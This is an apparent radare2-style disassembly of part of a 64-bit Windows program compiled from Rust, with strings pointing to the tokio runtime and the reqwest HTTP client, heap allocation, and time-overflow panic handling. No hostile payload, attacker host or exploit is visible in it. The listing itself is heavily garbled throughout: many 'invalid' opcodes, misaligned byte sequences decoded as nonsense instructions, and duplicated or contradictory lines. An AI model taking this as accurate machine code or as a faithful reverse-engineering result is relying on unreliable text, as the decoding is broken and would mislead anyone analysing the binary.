lea rcx, [rsp + 0x58]
call fcn.140108560
int3
add ch, bl
mov r15, qword ds:[r14 + 8]
mov rbx, qword [r14 + 0x10]
test rbx, rbx
je 0x1400a9b2a
js 0x1400a9b8b
movzx eax, byte [0x140182310]
xor ecx, ecx
add byte [rcx], dh
leave
mov rdx, rbx
call fcn.1400df910
test rax, rax
je 0x1400a9b90
mov r14, rax
jmp 0x1400a9b30
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rbx
call fcn.140106530
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400a9b7c
mov qword [rax], rbx
mov qword [rax + 8], r14
mov dword [rax + 8], esi
mov dword [rax + 8], esi
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
lea rdx, [0x1401412c0]
or dword [rax], eax
or dword [rax], eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
call fcn.1401082c0
call fcn.140010970
mov ecx, 1
add byte [rax], al
mov rdx, rbx
call fcn.1401082a0
int3
sub rsp, 0x58
in al, dx
pop rax
mov rsi, rdx
mov rbx, rcx
mov rcx, qword [rcx + 0x18]
mov rax, qword [rbx + 0x20]
call qword [rax + 0x20]
movabs rdi, 0x8000000000000000
mov edi, 0
add byte [rax], al
invalid
or byte [rax + 0x39], 0x3b
mov edi, 0
add byte [rax], al
add byte [rax + 0x753b3948], al
add ch, bl
mov r14, qword [rbx + 8]
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x3b
jne 0x1400a9bcb
jmp 0x1400a9c0c
mov r14, qword [rbx + 8]
mov rdi, qword [rbx + 0x10]
test rdi, rdi
je 0x1400a9bf9
js 0x1400a9c6e
movzx eax, byte [0x140182310]
xor ecx, ecx
xchg dword [0x188d3cce8], ecx
mov edx, edi
mov rdx, rdi
call fcn.1400df910
test rax, rax
je 0x1400a9c73
mov rbx, rax
jmp 0x1400a9bfe
mov ebx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140106530
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x38], edi
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x28]
mov rdx, rsi
call fcn.1400a9c90
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000002
mov ecx, 2
add byte [rax], al
add byte [rax + 0x7cc83948], al
invalid
mov ecx, 2
add byte [rax], al
add byte [rax + 0x7cc83948], al
add eax, 0x75c08548
test eax, eax
jne 0x1400a9c50
invalid
invalid
invalid
test rax, rax
test eax, eax
jne 0x1400a9c50
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
call fcn.140010970
mov ecx, 1
mov rdx, rdi
call fcn.1401082a0
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rdi, r8
mov rsi, rcx
mov rbx, qword [rdx]
mov ebx, dword [rdx]
mov ebx, dword [rdx]
test rbx, rbx
jne 0x1400a9ce3
mov r14, rdx
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400a9de0
mov rbx, rax
movups xmm0, xmmword [0x14014c810]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14014c800]
or al, byte [rax]
or al, byte [rax]
movups xmmword [rax], xmm0
mov qword [r14], rax
invalid
invalid
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400a9dd1
mov rcx, qword [rdi + 0x10]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rdi]
movups xmmword [rax], xmm0
adc dword [rax], eax
adc dword [rax], eax
lea rcx, [0x14013fc28]
mov qword [rsp + 0x20], rcx
movabs r15, 0x186a759b7cbcd184
test cl, dl
mov esp, 0x6a759b7c
sbb byte [rcx - 0x42], cl
rol dword [rax], 0x6f
add byte [rdi - 0x6f], ch
cmp byte [rax - 0x76b780ca], bh
invalid
mov rdx, r15
mov r8, r14
test cl, dl
mov esp, 0x6a759b7c
sbb byte [rcx - 0x42], cl
rol dword [rax], 0x6f
add byte [rdi - 0x6f], ch
add byte [rdi - 0x6f], ch
cmp byte [rax - 0x76b780ca], bh
invalid
mov r9, rax
call fcn.14004e000
ret 0xfa42
dec dword [rax - 0x7b]
invalid
je 0x1400a9db8
ret 0xfa42
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov ecx, eax
mov ecx, eax
call qword [rdx + 0x18]
cmp rax, r15
jne 0x1400a9d8f
invalid
cmp ecx, dword [rcx + rdi - 0xe]
cmp rdx, r14
jne 0x1400a9d8f
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
movups xmm0, xmmword [rdi]
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
and al, 0x30
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
invalid
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x10], rax
jmp 0x1400a9dc5
invalid
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400a9db8
invalid
sbb eax, 0x107b8348
adc dword [rdx + 4], esi
cmp qword [rbx + 0x10], 0x11
jb 0x1400a9da6
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
test byte [0x189dcceb0], cl
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000001
mov qword [rsi], rax
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov ecx, 8
add byte [rax], al
mov edx, 0x20
call fcn.1401082c0
int3
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov dl, 0x84
or eax, 0x48c93100
mov edx, esi
call fcn.1400df910
test rax, rax
invalid
je 0x1400a9ecb
sal byte [rsi + rbx*2 + 0x48], 0x89
invalid
mov rdi, rax
jmp 0x1400a9e77
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.140106530
movzx eax, byte [0x140182310]
mov edx, 0x18
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
call fcn.1400df910
test rax, rax
invalid
je 0x1400a9eb7
sal byte [rdx + rbx + 0x48], 0x89
xor byte [rax - 0x77], cl
js 0x1400a9eac
mov qword [rax], rsi
mov dword [rax], esi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rsi
lea rdx, [0x14013d3b8]
adc eax, 0x93509
lea edx, [0x14013d3b8]
adc eax, 0x93509
xor eax, 0x83480009
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add al, ch
cli
jrcxz case.0x140071463.239
add al, ch
movsd dword [rdi], dword [rsi]
push 0xfffffffffffffff6
invalid
add byte [rax], al
add al, ch
cli
jrcxz case.0x140071463.239
add al, ch
movsd dword [rdi], dword [rsi]
push 0xfffffffffffffff6
invalid
mov ecx, 1
mov rdx, rsi
call fcn.1401082a0
add ah, cl
add ah, cl
int3
int3
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x31
jne 0x1400a9efa
invalid
add ch, bl
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx + 0x10]
test rsi, rsi
je 0x1400a9f2f
js case.0x1400967cc.85
mov r14, rdx
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
mov edx, esi
call fcn.1400df910
test rax, rax
je 0x1400a9fac
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rdi, rax
mov rdi, rax
jmp 0x1400a9f37
mov r14, rdx
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
mov eax, esi
call fcn.140106530
mov rdx, r14
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x28]
call fcn.1400a9c90
std
invalid
dec dword [rax - 0x75]
and al, 0x40
movabs rcx, 0x8000000000000002
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
invalid
jl 0x1400a9f7f
test rax, rax
jne 0x1400a9f89
invalid
or cl, byte [rax - 0x7d]
invalid
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
ret
invalid
call fcn.140010970
mov ecx, 1
mov rdx, rsi
call fcn.1401082a0
invalid
add ah, cl
add eax, 0xcccccc00
int3
add byte [rbp - 0x7cea8b40], al
clc
add esi, dword [rdx + rbx - 0x7d]
clc
add al, 0xf
test dword [rax + 0x48000000], eax
add ecx, 0x2650
add rsp, 0x20
pop rsi
jmp fcn.1400acf80
invalid
add byte [rax - 0x77], cl
invalid
mov ss, word [rax + 0x4800004c]
cmp dword [rsi + 0x4c88], 0
je 0x1400aa031
invalid
add byte [rax - 0x7d], cl
mov esi, 0x4c88
add byte [rax + rdx + 0x48], dh
adc byte [rax - 0x75], cl
invalid
adc byte [rax - 0x75], cl
adc eax, esi
dec qword [rdx]
mov rdx, qword [rcx]
lock dec qword [rdx]
jne 0x1400aa042
call fcn.140068890
jmp 0x1400aa03f
mov rdx, qword [rcx]
lock dec qword [rdx]
dec dword [rdx]
dec dword [rdx]
jne 0x1400aa042
call fcn.140069420
mov rax, rsi
mov rdx, qword [rax + 0x4cd0]
test rdx, rdx
je 0x1400aa05e
mov rcx, qword [rax + 0x4cd8]
mov ecx, dword [rax + 0x4cd8]
add byte [rax], al
add rsp, 0x20
add esp, 0x20
pop rsi
jmp qword [rdx + 0x18]
nop
add rsp, 0x20
pop rsi
ret
int3
int3
int3
push rbx
mov eax, 0x4d98
add al, ch
cli
invalid
invalid
invalid
add al, ch
cli
add byte [0x10433e88a], 0x66
sub rsp, rax
movdqa xmmword [rsp + 0x4d80], xmm6
sub rsp, rax
movdqa xmmword [rsp + 0x4d80], xmm6
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rdx + 0x2648]
invalid
lea rcx, [0x1401789a4]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
call 0x1a352a0b7
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
lea rcx, [rsp + 0x2748]
mov r8d, 0x2638
mov eax, 0x2638
invalid
mov eax, 0x2638
mov rdx, rdi
call fcn.140106530
mov ebp, dword [rdi + 0x2640]
add byte es:[rax], al
cmp ebp, 0x3b9aca00
jne 0x1400aa143
lea rcx, [rdi + 0x2650]
add byte [rax], al
mov r8d, 0x2638
add byte es:[rax], al
mov rdx, rdi
call fcn.140106530
lea r14, [rdi + 0x2650]
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400aa5b0
movzx r15d, byte [rsp + 0x41]
and al, 0x41
cmp r15b, 3
jne 0x1400aa119
mov byte [rsi + 0x11], 3
mov al, 4
jmp 0x1400aa52b
add al, 0
invalid
add al, 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
je 0x1400aa142
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov eax, dword [rsp + 0x42]
and al, 0x42
and al, 0x42
mov dword [rsp + 0x20], eax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x24], ax
mov word [rsp + 0x24], ax
mov rcx, r14
call fcn.1400acf80
add byte cs:[rax], al
add byte cs:[rax], al
jmp 0x1400aa50e
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x49], cl
mov r14, qword [rdi + 0x2638]
cmp byte [rsi], ah
add byte [rax], al
call fcn.1400df770
add rax, r14
jae 0x1400aa1b5
call fcn.1400df770
add rax, 0x38640900
add eax, 0x38640900
add eax, 0x38640900
jb 0x1400aa55c
add eax, dword [rax]
add byte [rcx - 0x77], al
rol byte [rcx - 0x6535ff06], 1
cmp esi, dword [rdx + 0x3c]
jb 0x1400aa1ac
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400aa1ac
inc rax
je 0x1400aa55c
add r8d, 0xc4653600
vpsubb xmm8, xmm15, xmmword gs:[r8]
retf 0x3b9a
cmp r8d, 0x3b9aca00
jb 0x1400aa1ac
rol ecx, 0xe9
or dword [rax + 0x69], ecx
leave
or dword [rbx + 4], 0
shr rcx, 0x27
add rax, rcx
add eax, ecx
jb 0x1400aa574
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
jmp 0x1400aa1d7
mov r8d, edx
add r8d, ebp
cmp r8d, 0x3b9aca00
add dl, cl
invalid
cmp esi, dword [rdx + 0xc]
add dl, cl
invalid
inc rax
je 0x1400aa154
rol byte [rax], 0x36
invalid
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
xor byte [rax - 0x77], cl
mov rdx, rax
call 0x1400f4170
lea r14, [rsp + 0xa0]
lea rdx, [rsp + 0x2748]
mov r8d, 0x2638
mov rcx, r14
mov ecx, esi
call fcn.140106530
ret
add eax, 0x44100f00
and al, 0x30
movups xmm1, xmmword [rsp + 0x40]
and al, 0x40
ret 0x8ce8
ret
and al, 0x40
movups xmm2, xmmword [rsp + 0x50]
push rsp
and al, 0x50
movups xmm3, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x26d8], xmm0
invalid
movups xmmword [rsp + 0x26e8], xmm1
adc dword [rsp + 0x26e8], ecx
movups xmmword [rsp + 0x26f8], xmm2
and al, 0xf8
add byte es:[rax], al
movups xmmword [rsp + 0x2708], xmm3
or byte [rdi], ah
add byte [rax], al
invalid
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x2718], xmm0
test byte [rax + rbx], ah
invalid
add byte [rax], al
movups xmm0, xmmword [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x2728], eax
invalid
test byte [rax + rbx], ah
invalid
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x2728], eax
invalid
add bl, dh
movq mm0, qword [rsp + 0x90]
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0x90]
add byte [rax], al
movdqu xmmword [rsp + 0x2738], xmm0
lea rcx, [rdi + 0x2650]
lea ecx, [rdi + 0x2650]
lea ecx, [rdi + 0x2650]
add byte [rax], al
mov r8d, 0x26a8
test al, 0x26
add byte [rax], al
mov rdx, r14
call fcn.140106530
lea r14, [rdi + 0x2650]
push rax
add byte es:[rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
invalid
je 0x1400aa2d2
add dword [rdx + rsi - 0x7b], esi
sal byte [rbp + 0x5b], 0x8b
pop rbx
invalid
test eax, eax
jne 0x1400aa2ff
pop rbx
pop rbx
mov eax, dword [0x140182314]
add eax, 0xd806a
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
cmp al, 0xc1
cmp al, 0xc1
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
add byte [rcx - 0x3a], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
add byte [rcx - 0x3a], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
cmp byte [rax + 0x11c], 0
setne cl
cmp byte [rax + 0x11d], 0
add dword [rax], eax
add byte [rax], al
mov eax, 0x11c
add byte [rdi], cl
xchg ebp, eax
rol dword [rax + 0x11db8], 0
add dword [rax], eax
add byte [rax], al
sete r12b
add dword [rax], eax
add byte [rax], al
sete r12b
and r12b, cl
jmp 0x1400aa302
xor r12d, r12d
lea r15, [rdi + 0x4c88]
mov byte [rax + rax], cl
lea rcx, [rsp + 0x30]
mov rdx, r14
mov r8, rbx
call fcn.1400aa5b0
movzx ebp, byte [rsp + 0x41]
cmp r13d, 3
cmp r13d, 3
jne case.0x140070a56.256
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400aa378
clc
add dword [rdx + rsi - 0x7b], esi
sal byte [rbp + 0x64], 0x8b
add eax, 0xd7fc4
jg case.0x1400925b9.126
invalid
test eax, eax
jne 0x1400aa3ae
mov eax, dword [0x140182314]
jg case.0x1400925b9.126
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x2c], cl
mov r13, qword [rcx + rax*8]
ror dword [rcx - 0x73], 0x8d
rol byte [rax], 1
add byte [rax], al
lea rcx, [r13 + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
call fcn.1400d4720
mov byte [r13 + 0x120], 1
mov eax, dword [0x140182314]
or eax, 0x8b486500
or al, 0x25
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ebp, byte [rax + 0x11c]
mov dh, 0xa8
sbb al, 1
add byte [rax], al
invalid
test al, 0x1c
add dword [rax], eax
add byte [rbp - 0x7c], al
in eax, dx
test r13b, r13b
sete cl
cmp byte [rax + 0x11d], 0
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
ror byte [rax], 0xc8
xchg esp, eax
rol dword [rax + 0x11db8], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
xchg ebp, eax
ror byte [rax], 0xc8
or r12b, al
cmp r12b, 1
jne 0x1400aa3e0
mov rdx, qword [rbx]
mov rcx, r15
mov ecx, edi
call fcn.1400f43e0
invalid
invalid
add al, 0
invalid
add al, 0
jmp 0x1400aa46e
mov al, 0
add byte [rax], al
invalid
movdqa xmm6, xmmword [rsp + 0x30]
movzx ebx, byte [rsp + 0x40]
mov dh, 0x5c
and al, 0x40
invalid
mov dh, 0x5c
and al, 0x40
invalid
mov eax, dword [rsp + 0x42]
and al, 0x42
mov dword [rsp + 0x28], eax
and al, 0x28
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x2c], ax
mov dword [rsp + 0x2c], eax
jmp 0x1400aa47d
mov eax, dword [0x140182314]
add eax, 0xd7f2e
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
and eax, 0x58
add byte [rax], al
add byte [rbx + rcx*4 + 0x24], cl
rol dword [rcx - 0x3a], 0x84
test byte [rsp + rbx], ah
add byte [rax], al
mov r12, qword [rcx + rax*8]
mov byte [r12 + 0x11c], 0
test byte [rsp + rbx], ah
add dword [rax], eax
add byte [rax], al
test byte [rsp + rbx], ah
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rbx]
mov edx, dword [rbx]
mov rcx, r15
call fcn.1400f43e0
add al, 0
add al, 0
movzx ecx, byte [r12 + 0x120]
mov word [rax + riz], fs
add dword [rax], eax
add byte [rbx + 0x387401f9], al
invalid
je 0x1400aa44d
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
add dword [rax + rdi - 0x7b], esi
leave
je 0x1400aa44d
test ecx, ecx
jne 0x1400aa46e
mov ecx, dword [0x140182314]
or eax, 0xd7ef5
jle 0x1400aa42b
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
mov rdx, qword gs:[0x58]
add byte [rax], al
mov r12, qword [rdx + rcx*8]
lea rcx, [r12 + 0xd0]
lea ecx, [rsp + 0xd0]
retf 0x8d49
lea ecx, [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [r12 + 0x120], 1
test byte [rax + riz], ah
add dword [rax], eax
add byte [rcx], al
and al, 0x20
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
mov byte [rcx + 0x11c], r13b
add byte [rax], al
mov byte [rcx + 0x11d], 0
test al, al
je 0x1400aa47d
mov byte [rsi + 0x11], 3
mov al, 3
add ebp, ecx
scasb al, byte [rdi]
add byte [rax], al
invalid
add ebp, ecx
scasb al, byte [rdi]
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.1400acf80
mov rcx, r15
sti
sub al, byte [rax]
add byte [rcx + rcx*4 - 7], cl
mov ecx, edi
call fcn.1400ec890
add al, 0
lea rcx, [rdi + 0x4c90]
cmp qword [rdi + 0x4c88], 0
cmp dword [rdi + 0x4c88], 0
cmp dword [rdi + 0x4c88], 0
mov edi, 0x4c88
add byte [rax + rdx + 0x48], dh
add byte [rax], al
je 0x1400aa4ae
mov rax, qword [rcx]
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x1400aa4bc
call fcn.140068890
jmp 0x1400aa4bc
sti
invalid
mov rax, qword [rcx]
lock dec qword [rax]
or byte [rbp + 5], dh
or byte [rbp + 5], dh
call fcn.140069420
dec dword [rax - 0x75]
mov rax, qword [rdi + 0x4cd0]
xchg eax, edx
add byte [rax], r8b
test rax, rax
je 0x1400aa4d2
mov rcx, qword [rdi + 0x4cd8]
add byte [rax], al
call qword [rax + 0x18]
mov r15b, 2
cmp ebp, 2
je 0x1400aa50e
add al, byte [rbx + 0x347402fd]
cmp ebp, 3
jne 0x1400aa4f9
lea rax, [0x14013e068]
movq xmm0, rax
movdqa xmm6, xmmword [0x140113a80]
punpcklqdq xmm6, xmm0
jmp 0x1400aa50e
invalid
movzx eax, word [rsp + 0x2c]
mov word [rsp + 0x24], ax
mov eax, dword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov dword [rsp + 0x20], eax
mov r15d, ebp
movdqu xmmword [rsi], xmm6
movq qword [rsi], mm6
mov byte [rsi + 0x10], bl
mov byte [rsi + 0x11], r15b
mov byte [rsi + 0x11], bh
mov eax, dword [rsp + 0x20]
mov dword [rsi + 0x12], eax
movzx eax, word [rsp + 0x24]
mov word [rsi + 0x16], ax
mov al, 1
mov byte [rdi + 0x2648], al
add byte [rax], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x4d80]
add rsp, 0x4d98
invalid
cwde
add byte [r8], r8b
invalid
add byte [r8], r8b
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140108b60
out 5, al
invalid
out 5, al
add byte [rax - 0x73], cl
or eax, 0xa00cd
invalid
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, [0x14014a670]
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
invalid
add dword [rdx], ecx
add byte [rdx + 0x28], bh
sub byte [rax], al
add byte [rax], al
invalid
add al, ch
sbb al, 0xe4
add eax, 0x58d4800
jne 0x1400aa567
call fcn.140108990
lea rax, str.overflow_in_Duration::new
or dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
mov dword [rsp + 0x40], 8
mov dword [rsp + 0x40], 8
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea edx, [0x140149448]
out dx, al
or dword [rax], eax
lea rcx, [rsp + 0x30]
call fcn.140108560
invalid
invalid
add eax, 0xcc0b0f00
add byte [rdi], cl
or ecx, esp
ud2
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1f88
invalid
add byte [rax], al
call fcn.140102180
sub rsp, rax
movdqa xmmword [rsp + 0x1f70], xmm6
movq qword [rsp + 0x1f70], mm6
movq qword [rsp + 0x1f70], mm6
jo 0x1400aa5ef
add byte [rax], al
mov rbx, r8
mov rsi, rdx
mov r13, rcx
int 0xf
mov dh, 0x82
rol byte [rdx], cl
add byte [rax], al
invalid
int 0xf
mov dh, 0x82
rol byte [rdx], cl
add byte [rax], al
invalid
add byte [rax - 0x73], cl
or eax, 0xce3cf
iretd
jrcxz 0x1400aa5f4
invalid
lea rcx, [0x1401789b8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
enter 0xffffffffffffe0ff, 0x66
mov dword [rsi + 0x2d3], 0x86c60000
add byte [rax], al
invalid
xchg ch, dl
mov word [rsi + 0x2d3], 0
add byte [rax], al
mov byte [rsi + 0x2d5], 1
add al, byte [rax]
add byte [rcx], al
invalid
add dword [rax - 0x73], ecx
mov esi, 0x128
add dword [rax], eax
invalid
lea rdi, [rsi + 0x128]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
adc byte [rsi + 0x10], cl
movups xmm2, xmmword [rsi + 0x20]
adc byte [rsi + 0x20], dl
movups xmm3, xmmword [rsi + 0x30]
movups xmmword [rsi + 0x128], xmm0
adc dword [rsi + 0x128], eax
adc dword [rsi + 0x128], eax
add byte [rdi], cl
adc dword [rsi + 0x138], ecx
invalid
cmp byte [rcx], al
add byte [rax], al
movups xmmword [rsi + 0x138], xmm1
invalid
movups xmmword [rsi + 0x148], xmm2
movups xmmword [rsi + 0x158], xmm3
adc dword [rsi + 0x158], ebx
add qword [rax], rax
add byte [rdi], cl
adc dword [rsi + 0x158], ebx
movups xmm0, xmmword [rsi + 0x40]
adc byte [rsi + 0x40], al
movups xmmword [rsi + 0x168], xmm0
adc dword [rsi + 0x168], eax
xchg byte [rax + 1], ch
add byte [rax], al
movups xmm0, xmmword [rsi + 0x50]
push rax
movups xmmword [rsi + 0x178], xmm0
movups xmm0, xmmword [rsi + 0x60]
invalid
add byte [rdi], cl
adc byte [rsi + 0x60], al
invalid
invalid
movups xmmword [rsi + 0x188], xmm0
movups xmm0, xmmword [rsi + 0x70]
movups xmmword [rsi + 0x198], xmm0
adc dword [rsi + 0x198], eax
adc dword [rsi + 0x198], eax
mov rax, qword [rsi + 0x120]
mov qword [rsi + 0x1f8], rax
clc
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x110], al
adc byte [rcx], al
add byte [rax], al
clc
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0x110], al
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
movups xmmword [rsi + 0x1e8], xmm0
movups xmm0, xmmword [rsi + 0x100]
xchg byte [rax], al
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 0x1d8], eax
xchg al, bl
add dword [rax], eax
invalid
xchg byte [rax], al
add dword [rax], eax
add byte [rdi], cl
adc dword [rsi + 0x1d8], eax
xchg al, bl
add dword [rax], eax
invalid
movups xmm0, xmmword [rsi + 0xf0]
movups xmmword [rsi + 0x1c8], xmm0
movups xmm0, xmmword [rsi + 0xe0]
adc byte [rsi + 0xe0], al
xchg al, ah
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdi], cl
adc byte [rsi + 0xe0], al
xchg al, ah
add byte [rax], al
invalid
movups xmmword [rsi + 0x1b8], xmm0
movups xmm0, xmmword [rsi + 0xd0]
rol byte [rax], 1
add byte [rax], al
xchg byte [rax + 0xf000001], bh
adc byte [rsi + 0xd0], al
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
movups xmmword [rsi + 0x1a8], xmm0
movups xmm0, xmmword [rsi + 0x80]
adc byte [rsi + 0x80], al
adc byte [rsi + 0x80], al
movups xmm1, xmmword [rsi + 0x90]
movups xmm2, xmmword [rsi + 0xa0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
movups xmm3, xmmword [rsi + 0xb0]
movups xmm3, xmmword [rsi + 0xb0]
movups xmmword [rsi + 0x200], xmm0
